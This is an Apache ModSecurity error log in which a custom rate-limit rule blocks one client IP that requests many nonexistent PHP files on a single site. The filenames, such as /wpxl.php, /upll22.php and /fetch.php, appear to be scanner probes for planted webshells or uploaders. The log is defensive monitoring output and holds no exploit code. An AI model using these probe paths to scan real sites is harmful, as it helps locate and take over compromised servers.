[Mon Apr 20 20:09:37.622859 2026] [:error] [pid 11494:tid 11512] [client 172.213.242.226:18057] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oco.php"] [unique_id "aeYXgcgko5iFiE8YoyTWVgAAAZA"]
[Mon Apr 20 20:09:38.697632 2026] [:error] [pid 11350:tid 11373] [client 172.213.242.226:13015] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13ede.php"] [unique_id "aeYXgv4EoMBgOJuJnT2e_QAAAA4"]
[Mon Apr 20 20:09:39.370386 2026] [:error] [pid 11351:tid 11407] [client 172.213.242.226:18062] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13ede.php"] [unique_id "aeYXgwN8Z1-vktaI_tPzBQAAAFQ"]
[Mon Apr 20 20:09:40.252930 2026] [:error] [pid 11494:tid 11500] [client 172.213.242.226:13007] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13ede.php"] [unique_id "aeYXhMgko5iFiE8YoyTWWwAAAYQ"]
[Mon Apr 20 20:09:40.999963 2026] [:error] [pid 11350:tid 11363] [client 172.213.242.226:18279] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13ede.php"] [unique_id "aeYXhP4EoMBgOJuJnT2fAAAAAAQ"]
[Mon Apr 20 20:09:41.522890 2026] [:error] [pid 42014:tid 42040] [client 172.213.242.226:18142] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dljpy.php"] [unique_id "aeYXhcek-00-ZI0f1Np6ZQAAARg"]
[Mon Apr 20 20:09:42.183172 2026] [:error] [pid 11494:tid 11501] [client 172.213.242.226:12996] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dljpy.php"] [unique_id "aeYXhsgko5iFiE8YoyTWXAAAAYU"]
[Mon Apr 20 20:09:42.844349 2026] [:error] [pid 11350:tid 11375] [client 172.213.242.226:12930] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dljpy.php"] [unique_id "aeYXhv4EoMBgOJuJnT2fBAAAABA"]
[Mon Apr 20 20:09:43.345886 2026] [:error] [pid 11494:tid 11496] [client 172.213.242.226:18154] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dljpy.php"] [unique_id "aeYXh8gko5iFiE8YoyTWXgAAAYA"]
[Mon Apr 20 20:09:43.836133 2026] [:error] [pid 6928:tid 6947] [client 172.213.242.226:18152] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "aeYXhx3y7MHq1iB0qYqnxwAAAVE"]
[Mon Apr 20 20:09:44.533636 2026] [:error] [pid 11351:tid 11390] [client 172.213.242.226:18125] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "aeYXiAN8Z1-vktaI_tPzCgAAAEM"]
[Mon Apr 20 20:09:45.103797 2026] [:error] [pid 6928:tid 6932] [client 172.213.242.226:12995] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "aeYXiR3y7MHq1iB0qYqnyAAAAUI"]
[Mon Apr 20 20:09:45.624531 2026] [:error] [pid 11350:tid 11371] [client 172.213.242.226:18251] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "aeYXif4EoMBgOJuJnT2fDwAAAAw"]
[Mon Apr 20 20:09:46.145776 2026] [:error] [pid 42014:tid 42029] [client 172.213.242.226:13013] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upll22.php"] [unique_id "aeYXisek-00-ZI0f1Np6aAAAAQ0"]
[Mon Apr 20 20:09:46.671163 2026] [:error] [pid 11352:tid 11437] [client 172.213.242.226:18078] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upll22.php"] [unique_id "aeYXiml10mhMSfJ7ir_RnwAAAJc"]
[Mon Apr 20 20:09:47.411309 2026] [:error] [pid 11351:tid 11401] [client 172.213.242.226:18093] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upll22.php"] [unique_id "aeYXiwN8Z1-vktaI_tPzDwAAAE4"]
[Mon Apr 20 20:09:47.953156 2026] [:error] [pid 11351:tid 11389] [client 172.213.242.226:18084] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upll22.php"] [unique_id "aeYXiwN8Z1-vktaI_tPzEQAAAEI"]
[Mon Apr 20 20:09:49.674095 2026] [:error] [pid 11350:tid 11360] [client 172.213.242.226:18095] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "aeYXjf4EoMBgOJuJnT2fLQAAAAE"]
[Mon Apr 20 20:09:51.022483 2026] [:error] [pid 11494:tid 11501] [client 172.213.242.226:18071] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "aeYXj8gko5iFiE8YoyTWYwAAAYU"]
[Mon Apr 20 20:09:51.803895 2026] [:error] [pid 11351:tid 11408] [client 172.213.242.226:18156] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "aeYXjwN8Z1-vktaI_tPzEwAAAFU"]
[Mon Apr 20 20:09:52.347464 2026] [:error] [pid 11494:tid 11508] [client 172.213.242.226:18183] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "aeYXkMgko5iFiE8YoyTWZAAAAYw"]
[Mon Apr 20 20:09:53.042597 2026] [:error] [pid 42014:tid 42016] [client 172.213.242.226:18104] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akhvg.php"] [unique_id "aeYXkcek-00-ZI0f1Np6bAAAAQA"]
[Mon Apr 20 20:09:53.966547 2026] [:error] [pid 11350:tid 11379] [client 172.213.242.226:18174] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akhvg.php"] [unique_id "aeYXkf4EoMBgOJuJnT2fYAAAABQ"]
[Mon Apr 20 20:09:54.979663 2026] [:error] [pid 11494:tid 11513] [client 172.213.242.226:18098] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akhvg.php"] [unique_id "aeYXksgko5iFiE8YoyTWZQAAAZE"]
[Mon Apr 20 20:09:56.337449 2026] [:error] [pid 11494:tid 11520] [client 172.213.242.226:18261] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akhvg.php"] [unique_id "aeYXlMgko5iFiE8YoyTWaQAAAZg"]
[Mon Apr 20 20:09:56.851246 2026] [:error] [pid 11352:tid 11425] [client 172.213.242.226:18054] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eapjf.php"] [unique_id "aeYXlGl10mhMSfJ7ir_RoQAAAIs"]
[Mon Apr 20 20:09:57.536627 2026] [:error] [pid 11351:tid 11395] [client 172.213.242.226:18190] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eapjf.php"] [unique_id "aeYXlQN8Z1-vktaI_tPzGwAAAEg"]
[Mon Apr 20 20:09:58.285217 2026] [:error] [pid 11441:tid 11458] [client 172.213.242.226:18087] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eapjf.php"] [unique_id "aeYXlsixByFUvmh319CUAgAAAM8"]
[Mon Apr 20 20:09:58.830103 2026] [:error] [pid 11350:tid 11383] [client 172.213.242.226:18268] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eapjf.php"] [unique_id "aeYXlv4EoMBgOJuJnT2ffwAAABg"]
[Mon Apr 20 20:09:59.395533 2026] [:error] [pid 6928:tid 6951] [client 172.213.242.226:13043] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeYXlx3y7MHq1iB0qYqnzwAAAVU"]
[Mon Apr 20 20:10:00.162079 2026] [:error] [pid 11351:tid 11394] [client 172.213.242.226:18208] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeYXmAN8Z1-vktaI_tPzIQAAAEc"]
[Mon Apr 20 20:10:00.909714 2026] [:error] [pid 11350:tid 11378] [client 172.213.242.226:18170] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeYXmP4EoMBgOJuJnT2fjAAAABM"]
[Mon Apr 20 20:10:01.465003 2026] [:error] [pid 11350:tid 11374] [client 172.213.242.226:18264] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aeYXmf4EoMBgOJuJnT2fkAAAAA8"]
[Mon Apr 20 20:10:01.964957 2026] [:error] [pid 11350:tid 11372] [client 172.213.242.226:18080] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clcdu.php"] [unique_id "aeYXmf4EoMBgOJuJnT2flAAAAA0"]
[Mon Apr 20 20:10:02.461850 2026] [:error] [pid 11351:tid 11389] [client 172.213.242.226:18174] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clcdu.php"] [unique_id "aeYXmgN8Z1-vktaI_tPzKAAAAEI"]
[Mon Apr 20 20:10:03.021290 2026] [:error] [pid 11351:tid 11395] [client 172.213.242.226:18063] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clcdu.php"] [unique_id "aeYXmwN8Z1-vktaI_tPzKgAAAEg"]
[Mon Apr 20 20:10:03.622801 2026] [:error] [pid 11441:tid 11443] [client 172.213.242.226:18287] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clcdu.php"] [unique_id "aeYXm8ixByFUvmh319CUBAAAAMA"]
[Mon Apr 20 20:10:04.094491 2026] [:error] [pid 11350:tid 11364] [client 172.213.242.226:18254] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aeYXnP4EoMBgOJuJnT2frgAAAAU"]
[Mon Apr 20 20:10:04.745149 2026] [:error] [pid 11351:tid 11409] [client 172.213.242.226:18061] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aeYXnAN8Z1-vktaI_tPzLAAAAFY"]
[Mon Apr 20 20:10:05.229023 2026] [:error] [pid 11352:tid 11435] [client 172.213.242.226:18290] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aeYXnWl10mhMSfJ7ir_RogAAAJU"]
[Mon Apr 20 20:10:05.726086 2026] [:error] [pid 42014:tid 42027] [client 172.213.242.226:18073] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aeYXncek-00-ZI0f1Np6bwAAAQs"]
[Mon Apr 20 20:10:06.192032 2026] [:error] [pid 11441:tid 11447] [client 172.213.242.226:18049] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sde.php"] [unique_id "aeYXnsixByFUvmh319CUCgAAAMQ"]
[Mon Apr 20 20:10:06.694602 2026] [:error] [pid 11441:tid 11449] [client 172.213.242.226:18180] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sde.php"] [unique_id "aeYXnsixByFUvmh319CUCwAAAMY"]
[Mon Apr 20 20:10:07.201587 2026] [:error] [pid 11351:tid 11405] [client 172.213.242.226:18050] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sde.php"] [unique_id "aeYXnwN8Z1-vktaI_tPzMAAAAFI"]
[Mon Apr 20 20:10:07.678676 2026] [:error] [pid 11350:tid 11378] [client 172.213.242.226:18289] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sde.php"] [unique_id "aeYXn_4EoMBgOJuJnT2fxQAAABM"]
[Mon Apr 20 20:10:52.033941 2026] [:error] [pid 11351:tid 11396] [client 172.213.242.226:18182] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/less.php"] [unique_id "aeYXzAN8Z1-vktaI_tPzXwAAAEk"]
[Mon Apr 20 20:10:52.566144 2026] [:error] [pid 11350:tid 11363] [client 172.213.242.226:18055] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/less.php"] [unique_id "aeYXzP4EoMBgOJuJnT2f_QAAAAQ"]
[Mon Apr 20 20:10:53.225149 2026] [:error] [pid 11350:tid 11368] [client 172.213.242.226:18278] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/less.php"] [unique_id "aeYXzf4EoMBgOJuJnT2f_gAAAAk"]
[Mon Apr 20 20:10:53.956679 2026] [:error] [pid 11350:tid 11366] [client 172.213.242.226:18293] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/less.php"] [unique_id "aeYXzf4EoMBgOJuJnT2gAAAAAAc"]
[Mon Apr 20 20:10:54.706528 2026] [:error] [pid 11494:tid 11504] [client 172.213.242.226:18291] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aeYXzsgko5iFiE8YoyTWjQAAAYg"]
[Mon Apr 20 20:10:55.295421 2026] [:error] [pid 11441:tid 11444] [client 172.213.242.226:18198] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aeYXz8ixByFUvmh319CULwAAAME"]
[Mon Apr 20 20:10:55.767641 2026] [:error] [pid 6928:tid 6952] [client 172.213.242.226:18172] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aeYXzx3y7MHq1iB0qYqn6gAAAVY"]
[Mon Apr 20 20:10:56.263453 2026] [:error] [pid 6928:tid 6941] [client 172.213.242.226:18267] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aeYX0B3y7MHq1iB0qYqn6wAAAUs"]
[Mon Apr 20 20:10:56.766067 2026] [:error] [pid 6928:tid 6931] [client 172.213.242.226:18206] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eursi.php"] [unique_id "aeYX0B3y7MHq1iB0qYqn7AAAAUE"]
[Mon Apr 20 20:10:57.277911 2026] [:error] [pid 42014:tid 42029] [client 172.213.242.226:18176] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eursi.php"] [unique_id "aeYX0cek-00-ZI0f1Np6fAAAAQ0"]
[Mon Apr 20 20:10:57.873862 2026] [:error] [pid 11441:tid 11451] [client 172.213.242.226:18187] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eursi.php"] [unique_id "aeYX0cixByFUvmh319CUMQAAAMg"]
